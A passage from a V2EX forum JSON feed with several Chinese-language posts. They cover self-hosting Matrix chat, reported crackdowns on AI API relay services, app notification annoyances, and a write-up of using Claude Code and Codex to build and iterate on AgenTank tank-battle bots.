</p>\n<p>\u76ee\u524d\u4f3c\u4e4e\u53ea\u80fd\u4f7f\u7528\u767b\u5f55\u4e86\u64cd\u4f5c\u7ed1\u5b9a\u7684\u5fae\u4fe1\u53f7\u7684\u8bbe\u5907\uff0c\u5728\u4e0a\u6587\u63d0\u5230\u7684\u7b49\u4ef7\u5165\u53e3\u5904\u505a\u89e3\u7ed1\uff0c<strong>\u5c3d\u7ba1\u4f60\u624d\u662f\u8be5\u624b\u673a\u53f7\u7684\u62e5\u6709\u4eba\u3002</strong> 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      "date_published": "2026-05-14T08:57:45+00:00", 
      "content_html": "<p>\u4e2a\u4eba\u7406\u89e3\uff1a\n\u8fd9\u5c5e\u4e8e\u4e8c\u9053\u8d29\u5b50\u7684\u751f\u610f\uff0c\u5173\u4e8e\u201c\u8585\u7f8a\u6bdb\u201d\u53ea\u8981\u4e0d\u641e\u53f7\u6c60\u9006\u5411\u56fd\u5185\u5927\u5382\u7684 webapi \uff0c\u57fa\u672c\u4e0a\u6ca1\u5565\u4e8b\u3002\n\u4e2a\u4eba\u731c\u60f3\uff1a\n\u76ee\u524d\u51e0\u4e2a\u5e16\u5b50\u7206\u51fa\u6765\u7684\u4e2d\u8f6c\u7ad9\u8bf4\u8bcd\uff08\u4e25\u6253\uff0c\u6293\u4eba\u3001\u7f5a\u6b3e\uff09\uff0c\u65e0\u6cd5\u5206\u8fa8\u771f\u5047\uff0c\u4e0d\u6392\u9664\u4e2d\u8f6c\u7ad9\u81ea\u8eab\u6709\u6da8\u4ef7\u7684\u76ee\u7684\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/clacf", 
        "name": "clacf", 
        "avatar": "https://cdn.v2ex.com/gravatar/9a5af21f8dc33efc660faf5fb6b18aff?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1212725", 
      "date_modified": "2026-05-14T23:15:41+00:00", 
      "content_html": "\u63a5\u4e0a\u5e16\u5b50\uff1a<br />\u6709\u6ca1\u6709\u529e\u6cd5\u8ba9\u5b69\u5b50\u7684\u624b\u673a\u53ea\u80fd\u548c\u7236\u6bcd\u624b\u673a\u76f8\u4e92\u901a\u4fe1<br /><a target=\"_blank\" href=\"https://www.v2ex.com/t/1211816\">https://www.v2ex.com/t/1211816</a><br /><br />\u7ecf\u8fc7\u7814\u7a76\uff0c\u5728\u6211\u7684 vps \u90e8\u7f72\u4e86 matrix \u5373\u65f6\u901a\u8baf\u534f\u8bae\u7684\u670d\u52a1\u7aef\u3002\u53ef\u4ee5\u6253\u7535\u8bdd\uff0c\u53d1\u4fe1\u606f\uff0c\u89c6\u9891\u4f1a\u8bae\uff0c\u5171\u4eab\u684c\u9762\u3002<br />\u4e86\u89e3\u4e86\u8fd9\u4e2a\u534f\u8bae\u7684\u5177\u4f53\u5b9e\u73b0\u65b9\u6cd5\u624d\u53d1\u73b0\uff0c\u8fd9\u4e2a\u5b8c\u7f8e\u6ee1\u8db3\u4e86\u6211\u5bf9\u4e00\u6b3e\u901a\u8baf\u8f6f\u4ef6\u7684\u5404\u79cd\u9700\u6c42\uff1a<br />1. \u7aef\u5230\u7aef\u52a0\u5bc6\uff0c\u5b89\u5168\u6709\u4fdd\u969c<br />2. \u8f7b\u6613\u7a81\u7834\u5c01\u9501\uff0c\u81ea\u5efa\u670d\u52a1\u5668\u88ab\u53d1\u73b0\u5373\u53ef<br />3. \u5c0f\u800c\u7f8e\uff08\u72e0\u72e0\u7684\u5410\u69fd\u5fae\u4fe1\uff09<br />4. \u670d\u52a1\u7aef\u4fdd\u5b58\u804a\u5929\u8bb0\u5f55<br />5. \u80fd\u591f\u5feb\u901f\u5bfc\u51fa\u5404\u79cd\u683c\u5f0f\u7684\u804a\u5929\u8bb0\u5f55<br />6. \u5360\u7528\u8d44\u6e90\u5c0f\uff0c\u670d\u52a1\u7aef\u603b\u5171\u624d\u7528 1g \u5c31\u90e8\u7f72\u8d77\u6765\u4e86<br /><br />\u552f\u4e00\u7684\u75db\u70b9\u5c31\u662f\uff0c\u4e2d\u6587\u68c0\u7d22\u548c telegram \u4e00\u6837\u70c2\u3002\u5e0c\u671b\u4ee5\u540e\u5b98\u65b9\u80fd\u6539\u8fdb\u4e0b\u3002 \u4e0d\u77e5\u9053\uff0c\u4e3a\u4ec0\u4e48\u8fd9\u4e48\u5f3a\u7684 iM \u8f6f\u4ef6\uff0c\u6ca1\u6709\u88ab\u666e\u53ca\u5f00\u6765\u3002", 
      "date_published": "2026-05-14T08:22:38+00:00", 
      "title": "matrix \u5373\u65f6\u901a\u8baf\u534f\u8bae+element \u5ba2\u6237\u7aef\u592a\u5f3a\u5927\u4e86\uff01", 
      "id": "https://www.v2ex.com/t/1212725"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/300", 
        "name": "300", 
        "avatar": "https://cdn.v2ex.com/avatar/55fe/29e6/116124_large.png?m=1720510511"
      }, 
      "url": "https://www.v2ex.com/t/1212701", 
      "title": "618 \u53c8\u5f00\u59cb\u4e86\uff0c\u770b\u770b\u624b\u673a\u91cc\u8d2d\u7269\u8f6f\u4ef6\u7684\u901a\u77e5\u529f\u80fd\u662f\u4e0d\u662f\u53d8\u6210\u5141\u8bb8\u4e86", 
      "id": "https://www.v2ex.com/t/1212701", 
      "date_published": "2026-05-14T07:02:16+00:00", 
      "content_html": "<p>\u6211\u8bf4\u600e\u4e48\u7a81\u7136\u5192\u51fa\u6765 jd \u7684\u63a8\u9001\u2026</p>\n<p>\u8fd9\u4e8b\u53bb\u5e74\u5c31\u53d1\u751f\u8fc7\uff0c\u5f53\u65f6\u8fd8\u4ee5\u4e3a\u662f\u81ea\u5df1\u6ca1\u6ce8\u610f\u70b9\u5f00\u7684</p>\n<p>\u8fd9\u91cc\u6709\u4e2a\u5c0f\u7f8a\u6bdb\u53ef\u4ee5\u8585\uff0c\u5c31\u662f\u4e00\u76f4\u7981\u6b62\u63a8\u9001\uff0c\u9694\u4e00\u6bb5\u65f6\u95f4 jd \u4f1a\u7ed9\u4f60 0.58 \uffe5\u8ba9\u4f60\u5141\u8bb8\u901a\u77e5\uff0c\u7136\u540e\u6253\u5f00-\u9886\u94b1-\u518d\u5173\u6389</p>\n<p>\u4e4b\u524d\u8fd8\u6709\u7cfb\u7edf\u7ecf\u5e38\u63a8\u9001\u4f2a\u88c5\u6210\u8d2d\u7269\u8f6f\u4ef6\u7684\u901a\u77e5\uff08\u8bf4\u7684\u5c31\u662f\u4f60\uff0cColorOS \uff09\uff0c\u4e4b\u540e\u5c31\u7981\u7528\u7cfb\u7edf\u6d88\u606f app \u4e86</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/fate", 
        "name": "fate", 
        "avatar": "https://cdn.v2ex.com/avatar/2ffe/6412/39881_large.png?m=1776035051"
      }, 
      "url": "https://www.v2ex.com/t/1212659", 
      "date_modified": "2026-05-14T04:42:07+00:00", 
      "content_html": "<p>\u56fd\u5185 AI \u5957\u58f3/\u4e2d\u8f6c\u670d\u52a1\u76d1\u7ba1\u5904\u7f5a\u6848\u4f8b</p>\n<h2>\u4e00\u3001\u4e0a\u6d77\u71b5\u4e91\u79d1\u6280\u516c\u4f17\u53f7\u5957\u58f3 ChatGPT \u6848\uff08 2024 \uff0c\u884c\u653f\u5904\u7f5a\uff09</h2>\n<ul>\n<li><strong>\u8fdd\u6cd5\u4e3b\u4f53</strong>\uff1a\u4e0a\u6d77\u71b5\u4e91\u79d1\u6280</li>\n<li><strong>\u8fd0\u8425\u6a21\u5f0f</strong>\uff1a\u516c\u4f17\u53f7\u5185\u5d4c ChatGPT \uff0c\u6309\u6b21\u6536\u8d39</li>\n<li><strong>\u6d89\u6848\u6570\u636e</strong>\uff1a4231 \u540d\u4ed8\u8d39\u7528\u6237\uff0c\u8425\u6536 12.5 \u4e07\u5143</li>\n<li><strong>\u5904\u7f5a\u7ed3\u679c</strong>\uff1a\u5e02\u573a\u76d1\u7ba1\u5c40\u6309\u300a\u53cd\u4e0d\u6b63\u5f53\u7ade\u4e89\u6cd5\u300b\u7f5a\u6b3e 6.2 \u4e07\u5143\uff0c\u8d23\u4ee4\u505c\u6b62\u670d\u52a1\u3001\u6ca1\u6536\u8fdd\u6cd5\u6240\u5f97</li>\n<li><strong>\u8fdd\u6cd5\u5b9a\u6027</strong>\uff1a\u672a\u7ecf\u5907\u6848\u63d0\u4f9b\u5883\u5916\u751f\u6210\u5f0f AI \u670d\u52a1 + \u8fdd\u89c4\u7ecf\u8425</li>\n</ul>\n<h2>\u4e8c\u3001\u591a\u5730\u4e2a\u4eba/\u56e2\u4f19\u552e\u5356\u300c ChatGPT \u4e2d\u8f6c Key \u300d\u6848\uff08 2025-2026 \uff0c\u5211\u4e8b\u7acb\u6848\uff09</h2>\n<ul>\n<li><strong>\u8fdd\u6cd5\u4e3b\u4f53</strong>\uff1a\u591a\u5730\u4e2a\u4eba/\u72af\u7f6a\u56e2\u4f19</li>\n<li><strong>\u8fd0\u8425\u6a21\u5f0f</strong>\uff1a\u642d\u5efa new-api/sub2api \u7b49\u4e00\u952e\u4e2d\u8f6c\uff0c\u4f4e\u4ef7\u5012\u5356 OpenAI/Claude \u63a5\u53e3\uff0c\u6708\u5165\u6570\u4e07\u81f3\u767e\u4e07</li>\n<li>\n<strong>\u6d89\u6848\u7f6a\u540d</strong>\uff1a<ul>\n<li>\u6d89\u5acc\u975e\u6cd5\u7ecf\u8425\u7f6a\uff08\u65e0\u8d44\u8d28\u63d0\u4f9b\u8de8\u5883 AI \u670d\u52a1\uff09</li>\n<li>\u6d89\u5acc\u63d0\u4f9b\u4fb5\u5165\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u5de5\u5177\u7f6a\uff08\u7c7b\u6bd4\u975e\u6cd5 VPN \uff09</li>\n</ul>\n</li>\n<li><strong>\u5904\u7406\u7ed3\u679c</strong>\uff1a\u591a\u5730\u7f51\u8b66\u5211\u62d8\u3001\u53d6\u4fdd\u5019\u5ba1</li>\n<li><strong>\u53f8\u6cd5\u53c2\u8003</strong>\uff1a\u5356 VPN \u83b7\u5229 8500 \u5143\u5373\u5224 1 \u5e74 6 \u4e2a\u6708\uff1b AI \u4e2d\u8f6c\u540c\u903b\u8f91\uff0c\u5df2\u591a\u8d77\u5165\u5211</li>\n</ul>\n<h2>\u4e09\u30012026 \u5e74 4 \u6708\u5168\u56fd\u96c6\u4e2d\u6574\u6cbb\u300c AI \u5957\u58f3/\u4e2d\u8f6c\u300d</h2>\n<ul>\n<li><strong>\u884c\u52a8\u80cc\u666f</strong>\uff1a\u4e2d\u592e\u7f51\u4fe1\u529e\u300c\u6e05\u6717\u2022\u6574\u6cbb AI \u6ee5\u7528\u300d\u4e13\u9879\u884c\u52a8</li>\n<li><strong>\u6267\u884c\u884c\u52a8</strong>\uff1a\u5173\u505c\u6570\u767e\u4e2a\u8fdd\u89c4\u4e2d\u8f6c\u7ad9\u70b9\u3001\u6293\u83b7\u5341\u4f59\u540d\u8fd0\u8425\u8005\uff1b\u5fae\u4fe1/\u6296\u97f3/\u82f9\u679c\u5546\u5e97\u6279\u91cf\u4e0b\u67b6\u5957\u58f3 AI</li>\n<li><strong>\u8fdd\u6cd5\u5b9a\u6027</strong>\uff1a\u672a\u5907\u6848 + \u65e0\u5b89\u5168\u8bc4\u4f30 + \u8de8\u5883\u63d0\u4f9b\u670d\u52a1 = \u975e\u6cd5\u7ecf\u8425</li>\n</ul>\n", 
      "date_published": "2026-05-14T04:41:56+00:00", 
      "title": "\u8fd8\u662f\u6765\u4e86,AI \u5957\u58f3/\u4e2d\u8f6c\u7ad9\u53ef\u80fd\u8fdd\u6cd5\u4e86", 
      "id": "https://www.v2ex.com/t/1212659"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/macworld", 
        "name": "macworld", 
        "avatar": "https://cdn.v2ex.com/avatar/308a/5bd1/80217_large.png?m=1778699222"
      }, 
      "url": "https://www.v2ex.com/t/1212638", 
      "date_modified": "2026-05-14T03:48:18+00:00", 
      "content_html": "<p>\u5468\u672b\u5237\u670b\u53cb\u5708\uff0c\u770b\u5230 DK \u5206\u4eab\u4e86\u4e00\u4e2a AgenTank \u7684 AI \u5766\u514b\u5927\u6218\u89c6\u9891\uff0c\u8ba9\u6211\u60f3\u8d77\u4e86\u5927\u5b66\u65f6\u548c\u540c\u5b66\u73a9 RoboCode \u7684\u65f6\u5149\uff1a\u5927\u5bb6\u5199\u4ee3\u7801\u63a7\u5236\u5766\u514b\u4e92\u76f8 PK \uff0c\u6709\u7684\u4e13\u7cbe\u86c7\u76ae\u8d70\u4f4d\uff0c\u6709\u7684\u8eb2\u8d77\u6765\u9634\u4eba\uff0c\u8fd8\u6709\u7684\u770b\u4e0a\u53bb\u50cf\u5728\u6267\u884c\u6df1\u5965\u6218\u672f\uff0c\u5b9e\u9645\u53ea\u662f\u5728\u5899\u89d2\u53cd\u590d\u6253\u8f6c\u3002</p>\n<p>\u90a3\u65f6\u5019\u7b56\u7565\u5168\u9760\u624b\u5199\u3002\u4e00\u4e2a\u590d\u6742\u4e00\u70b9\u7684\u60f3\u6cd5\uff0c\u4ece\u8111\u5b50\u91cc\u51fa\u73b0\uff0c\u5230\u771f\u7684\u53d8\u6210\u80fd\u8dd1\u7684\u4ee3\u7801\uff0c\u4e2d\u95f4\u8981\u7ecf\u5386\u5199\u903b\u8f91\u3001\u8c03\u53c2\u6570\u3001\u8dd1\u6bd4\u8d5b\u3001\u770b\u56de\u653e\u3001\u518d\u91cd\u5199\u3002\u73b0\u5728\u6709\u4e86 AI \uff0c\u8fd9\u4e2a\u94fe\u8def\u7a81\u7136\u77ed\u4e86\u5f88\u591a\uff1a\u60f3\u6cd5\u53ef\u4ee5\u5f88\u5feb\u843d\u5730\u3001\u6d4b\u8bd5\u3001\u590d\u76d8\uff0c\u518d\u4e0a\u7ebf\u3002</p>\n<p>\u521a\u597d\u6700\u8fd1 Anthropic \u7b97\u529b\u6269\u5bb9\uff0c\u624b\u5934\u8ba2\u9605\u989d\u5ea6\u7528\u4e0d\u5b8c\uff0c\u4e8e\u662f\u6211\u51b3\u5b9a\u8bd5\u8bd5\u8ba9 AI \u81ea\u5df1\u6253\u6bd4\u8d5b\uff0c\u4f53\u9a8c\u4e00\u4e0b AI \u8d5b\u535a\u6597\u86d0\u86d0\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.v2ex.co/oEqTcUC6.gif\"/></p>\n<h2>\u7b2c\u4e00\u4f4d\u9009\u624b\uff1a\u7f51\u763e\u5c11\u5e74 Claude Code</h2>\n<p>\u5766\u514b\u7684\u5bf9\u6218\u89c4\u5219\u4e0d\u590d\u6742\uff0c\u5b98\u65b9\u6587\u6863\u5728\u8fd9\u91cc\uff1a<a href=\"https://agentank.ai/about\" rel=\"nofollow\">\u5766\u514b\u6280\u80fd</a>\u3002\u4e0d\u8fc7\uff0c\u5176\u5b9e\u6211\u4e5f\u6ca1\u8ba4\u771f\u770b\uff0c\u76f4\u63a5\u628a\u8bf4\u660e\u6587\u6863\u548c\u5766\u514b\u7684\u8d26\u53f7\u6254\u7ed9 Claude \uff0c\u518d PUA \u4e00\u4e0b\u4ed6\uff1a\u300c\u81ea\u5df1\u4f18\u5316\uff0c\u6253\u4e0d\u5230\u7b2c\u4e00\u4e0d\u51c6\u56de\u5bb6\u300d</p>\n<p>Claude \u8bfb\u5b8c\u6587\u6863\u4e4b\u540e\uff0c\u6bd4\u6211\u8fd8\u4e0a\u5934\u3002\u5b83\u5f00\u59cb\u53cd\u590d\u6539\u4ee3\u7801\u3001\u4e0a\u7ebf\u3001\u6253 ranked \uff0c\u4e00\u901a\u64cd\u4f5c\u731b\u5982\u864e\uff0c\u5b9e\u9645\u6218\u7ee9 0-5 \uff0c\u590d\u76d8\u5b8c\u4e4b\u540e\uff0cClaude \u975e\u5e38\u771f\u8bda\u5730\u95ee\u6211\uff1a\u300c\u8981\u4e0d\u8981\u518d\u8dd1 20 \u5c40\uff1f\u300d</p>\n<p>\u6709\u90a3\u4e48\u4e00\u77ac\u95f4\uff0c\u6211\u89c9\u5f97\u5b83\u4e0d\u662f\u5728\u5e2e\u6211\u5199\u4ee3\u7801\uff0c\u800c\u662f\u6c89\u8ff7\u4e8e\u5bf9\u6218\uff0c\u80dc\u8d1f\u6b32\u7206\u68da\uff0c\u67d3\u4e0a\u4e86\u7f51\u763e\u3002</p>\n<p><img alt=\"0-5\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/g5G667C9s0S3ny2c.png\"/>\n<img alt=\"\u4e0a\u5934\u7684 Claude\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/55n789DoNd81zv9O.png\"/></p>\n<p>\u88ab\u5404\u8def\u5927\u795e\u6559\u80b2\u4e4b\u540e\uff0c\u6211\u51b7\u9759\u5730\u6309\u4e0b\u4e86 <code>ESC</code> \u548c <code>/exit</code>\uff0c\u5e2e\u52a9 Claude \u6212\u6389\u4e86\u7f51\u763e\u3002</p>\n<h2>\u7b2c\u4e8c\u4f4d\u9009\u624b\uff1aCodex \uff0c\u5f00\u59cb\u6574\u6d3b</h2>\n<p>Claude \u4e0d\u884c\uff0c\u5c31\u8ba9 Codex \u4e0a\u3002</p>\n<p>\u6211\u91cd\u65b0\u521b\u5efa\u4e86\u4e00\u4e2a\u5766\u514b\uff0c\u521a\u5f00\u59cb\u5bf9\u5b83\u8981\u6c42\u4e5f\u4e0d\u9ad8\uff1a\u80fd\u6574\u70b9\u6d3b\uff0c\u770b\u4e0a\u53bb\u6709\u8da3\u4e00\u70b9\uff0c\u6bd4\u5982\u5012\u7740\u5f00\u8f66\uff0cELO \u80fd\u4e0a 1300 \u5c31\u884c\u3002\u540e\u6765\u624d\u53d1\u73b0\uff0c\u6e38\u620f\u673a\u5236\u4e0a\u300c\u6c38\u8fdc\u5012\u7740\u5f00\u300d\u4e0d\u592a\u73b0\u5b9e\uff0c\u4f46\u8fd9\u4e2a\u770b\u4f3c\u4e0d\u9760\u8c31\u7684\u9700\u6c42\u53cd\u800c\u5f88\u6709\u7528\uff0c\u5b83\u903c\u7740 AI \u4e0d\u53ea\u662f\u5199\u4e00\u4e2a\u666e\u901a bot \uff0c\u800c\u662f\u56f4\u7ed5\u6280\u80fd\u548c\u884c\u4e3a\u7279\u5f81\u53bb\u505a\u8bbe\u8ba1\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/B60T7q72Mm3t4bt6.png\"/></p>\n<p>\u8fd9\u4e00\u7248\u5f88\u5feb\u5c31\u6709\u4e86\u8d77\u8272\u3002\u51e0\u5341\u5c40\u5b9e\u6218\u4e4b\u540e\uff0cELO \u5f88\u5feb\u4e0a\u4e86 1300 \u3002\u6211\u7a81\u7136\u610f\u8bc6\u5230\uff0c\u8fd9\u6b21\u597d\u50cf\u6709\u70b9\u4e1c\u897f\uff0c\u81f3\u5c11\u6bd4\u4e0a\u4e00\u4f4d\u7f51\u763e\u9009\u624b\u66f4\u6709\u524d\u9014\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/3fg9u527g282GwFW.png\"/></p>\n<p>\u4e8e\u662f\u6211\u51c6\u5907\u4e0a\u70b9\u5f3a\u5ea6\uff0c\u5148\u8ba9 AI \u5b66\u4e60\u4e00\u4e0b\u8001\u7956\u5b97\u7684\u667a\u6167\uff08\u8bed\u97f3\u8f93\u5165\u6cd5\u6709\u70b9\u5570\u55e6\uff09\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/676Q56uq22Ppp4oU.png\"/></p>\n<p>\u5148\u522b\u7ba1\u6709\u6ca1\u6709\u7528\uff0c\u81f3\u5c11\u770b\u4e0a\u53bb\u5f88\u5389\u5bb3\u7684\u6837\u5b50</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/80zs07XJ84xS9c3j.png\"/></p>\n<h2>\u4ece\u6574\u6d3b\u5230\u5de5\u7a0b\u5316</h2>\n<p>\u6211\u8ba4\u4e3a\u771f\u6b63\u8ba9\u5b83\u4e00\u6b65\u6b65\u53d8\u5f3a\u7684\uff0c\u662f\u540e\u9762\u505a\u7684 Feedback Loop \uff0c\u628a AI \u653e\u8fdb\u4e00\u4e2a\u6301\u7eed\u8fed\u4ee3\u7684\u6d41\u7a0b\u91cc\uff0c\u7136\u540e\u4e0d\u65ad\u91cd\u590d\u4e0b\u9762\u8fd9\u51e0\u6b65\uff1a</p>\n<ol>\n<li>\u5148\u8bfb\u5bf9\u5c40\u56de\u653e\uff0c\u627e\u5230\u5177\u4f53\u5931\u8d25\u5e27\u3002</li>\n<li>\u63d0\u4e00\u4e2a\u5f88\u5c0f\u7684\u5047\u8bbe\uff0c\u4e0d\u641e\u5927\u800c\u5168\u7684\u7384\u5b66\u4f18\u5316\u3002</li>\n<li>\u5199\u4e00\u4e2a\u80fd\u590d\u73b0\u5931\u8d25\u7684\u7ea2\u706f\u6d4b\u8bd5\u3002</li>\n<li>\u6539\u6700\u5c0f\u4ee3\u7801\uff0c\u8ba9\u6d4b\u8bd5\u53d8\u7eff\u3002</li>\n<li>\u4e0a\u7ebf\uff0c\u81f3\u5c11\u6253 10 \u5230 20 \u5c40 ranked \u5bf9\u5c40\u3002</li>\n<li>\u53ea\u6839\u636e\u7ed3\u679c\u7ee7\u7eed\u8fed\u4ee3\uff0c\u53d1\u73b0\u8d1f\u4f18\u5316\u5c31\u56de\u9000\u3002</li>\n</ol>\n<p>AI \u5f88\u64c5\u957f\u5feb\u901f\u5b9e\u73b0\uff0c\u4f46\u5b83\u4e5f\u5f88\u5bb9\u6613\u8d8a\u6539\u8d8a\u591a\uff0c\u628a\u7b56\u7565\u5806\u6210\u4e00\u5768\u3002\u540e\u671f\u6700\u91cd\u8981\u7684\u539f\u5219\u53cd\u800c\u662f\u514b\u5236\uff1a\u6bcf\u6b21\u53ea\u4fee\u4e00\u4e2a\u95ee\u9898\uff0c\u7528\u56de\u653e\u8bc1\u660e\u5b83\u5b58\u5728\uff0c\u7528\u5bf9\u5c40\u8bc1\u660e\u5b83\u6ca1\u6709\u53d8\u6210\u8d1f\u4f18\u5316\u3002</p>\n<p>\u4e3a\u4e86\u8ba9 AI \u66f4\u7a33\u5b9a\u5730\u53c2\u4e0e\u8fd9\u4e2a\u6d41\u7a0b\uff0c\u6211\u540e\u9762\u505a\u4e86\u51e0\u4ef6\u5f88\u7b80\u5355\u7684\u5de5\u7a0b\u5316\u5904\u7406\uff1a</p>\n<ol>\n<li>\n<p>\u628a\u5355\u6587\u4ef6\u5766\u514b\u62c6\u6210\u591a\u4e2a\u6a21\u5757\u3002\u6bcf\u6b21\u53ea\u8ba9 AI \u8bfb\u548c\u6539\u5bf9\u5e94\u7684\u51fd\u6570\uff0c\u51cf\u5c11\u4e0a\u4e0b\u6587\u538b\u529b\uff1b\u4e0a\u7ebf\u524d\u518d\u628a\u6a21\u5757\u7ec4\u88c5\u56de\u5e73\u53f0\u9700\u8981\u7684\u5355\u6587\u4ef6\u3002</p>\n</li>\n<li>\n<p>\u8ba9 AI \u5199\u4e86\u4e00\u4e2a\u7b80\u5355\u7684\u4eff\u771f\u73af\u5883\uff0c\u7528\u6765\u91cd\u653e\u5173\u952e\u5e27\u3002\u5f88\u591a\u5931\u8d25\u4e0d\u662f\u6574\u4f53\u7b56\u7565\u4e0d\u884c\uff0c\u800c\u662f\u67d0\u4e00\u5e27\u5224\u65ad\u9519\u4e86\uff1a\u6bd4\u5982\u660e\u660e\u53ef\u4ee5\u6a2a\u5411\u8eb2\u5b50\u5f39\uff0c\u5374\u7ee7\u7eed\u987a\u7740\u5b50\u5f39\u65b9\u5411\u8d70\uff1b\u6216\u8005\u79bb\u654c\u4eba\u592a\u8fd1\uff0c\u5bf9\u65b9\u4e00\u8f6c\u5934\u5c31\u6ca1\u6709\u53cd\u5e94\u65f6\u95f4\u3002\u80fd\u91cd\u653e\u5173\u952e\u5e27\u4e4b\u540e\uff0c\u8fd9\u4e9b\u95ee\u9898\u5c31\u80fd\u53d8\u6210\u53ef\u9a8c\u8bc1\u7684\u5c0f\u6d4b\u8bd5\u3002</p>\n</li>\n<li>\n<p>\u8ba9 AI \u6bcf\u6b21\u90fd\u7559\u4e0b\u5b9e\u9a8c\u8bb0\u5f55\uff1a\u6539\u4e86\u4ec0\u4e48\u3001\u4e3a\u4ec0\u4e48\u6539\u3001\u6253\u4e86\u591a\u5c11\u5c40\u3001\u80dc\u7387\u548c ELO \u6709\u6ca1\u6709\u53d8\u5316\u3002\u8fd9\u6837\u540e\u9762\u518d\u770b\u5230\u8d1f\u4f18\u5316\uff0c\u4e0d\u9700\u8981\u51ed\u611f\u89c9\u4e89\u8bba\uff0c\u53ef\u4ee5\u76f4\u63a5\u56de\u5230\u8bc1\u636e\u3002</p>\n</li>\n</ol>\n<p>\u8fd9\u4e00\u5957\u6d41\u7a0b\u5e76\u4e0d\u590d\u6742\uff0c\u6838\u5fc3\u5c31\u4e00\u53e5\u8bdd\uff1a\n\u4eba\u8d1f\u8d23\u65b9\u5411\u3001\u7ea6\u675f\u548c\u6b62\u635f\uff1b AI \u8d1f\u8d23\u6267\u884c\u3001\u5206\u6790\u548c\u9ad8\u9891\u8bd5\u9519\u3002</p>\n<p>AI \u9760\u7740\u8fd9\u4e2a\u7b56\u7565\u4e00\u8def\u6253\u4e0a\u4e86\u699c\u9996\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/KmhI4ic0C30k3408.png\"/></p>\n<h2>\u65e2\u7136\u90fd\u8fd9\u4e48\u6210\u719f\u4e86\uff0c\u90a3\u5c31\u53bb\u8d5a\u70b9 Token \u94b1</h2>\n<p>\u4f5c\u4e3a\u4e00\u4e2a\u6210\u719f\u7684 AI \uff0c\u4e0d\u80fd\u53ea\u4f1a\u82b1 Token \uff0c\u4e5f\u8981\u5b66\u4f1a\u628a Token \u8d5a\u56de\u6765\u3002</p>\n<p>\u521a\u597d\u5b98\u65b9\u529e\u4e86\u4e00\u4e2a\u6bd4\u8d5b\uff1a<a href=\"https://agentank.ai/super-competitions/cup_H7blYCwgLUw0A70s4\" rel=\"nofollow\">AgenTank Rookie Rumble</a>\u3002\u5956\u91d1\u4e0d\u7b97\u5927\uff0c50 USDT \uff0c\u4f46\u8db3\u591f\u8986\u76d6 Token \u6210\u672c\u3002\u4e8e\u662f\u6211\u8ba9\u5b83\u62a5\u540d\u53c2\u8d5b\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/hihIH22c5h04H330.png\"/></p>\n<p>\u8d5b\u524d\u5148\u8ba9 AI \u5148\u5206\u6790\u53c2\u8d5b\u5bf9\u624b\uff0c\u77e5\u5df1\u77e5\u5f7c:</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://cdn.gogobyte.com/public_uploads/v2ex/67RUS7qs136t7ru1.png\"/></p>\n<p>\u8fd9\u6b21\u6bd4\u8d5b\u4e00\u5171\u6709 89 \u8f86\u5766\u514b\u53c2\u52a0\uff0c\u5b98\u65b9\u9875\u9762\u7edf\u8ba1\u4e86 210 \u573a\u5bf9\u51b3\u3002\u6211\u4eec\u7684\u5766\u514b <code>\ud83d\udee1</code> \u6700\u7ec8\u7cfb\u5217\u8d5b 10-0 \uff0c\u5c0f\u5c40 23-2 \uff0c\u62ff\u4e86\u7b2c\u4e00\u3002</p>\n<p>\u5f3a\u52b2\u5bf9\u624b\u4e0d\u5c11\u3002\u51b3\u8d5b\u5bf9\u624b\u662f <code>\u5e7f\u544a\u62db\u79df</code>\uff0c\u5b83\u4e00\u8def\u6253\u5230\u7b2c\u4e8c\uff0c\u5c0f\u5c40 22-7 \uff0c\u975e\u5e38\u7a33\u3002\u534a\u51b3\u8d5b\u9047\u5230 <code>LuTaNK</code>\uff0c\u524d\u9762\u8fd8\u6709 <code>Tz</code>\u3001<code>03</code>\u3001<code>ikun</code>\u3001<code>Dark Edge</code> \u8fd9\u4e9b\u98ce\u683c\u5404\u5f02\u7684\u5766\u514b\u3002</p>\n<p>\u6700\u620f\u5267\u6027\u7684\u662f\u603b\u51b3\u8d5b\u6700\u540e\u4e00\u5c40\u3002\u53cc\u65b9\u51e0\u4e4e\u6253\u5230\u5e73\u624b\uff0c\u6700\u540e\u6211\u4eec\u9760 runTime \u9669\u80dc\uff0c\u53ea\u9886\u5148\u4e86\u5927\u7ea6 18 ms \u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" 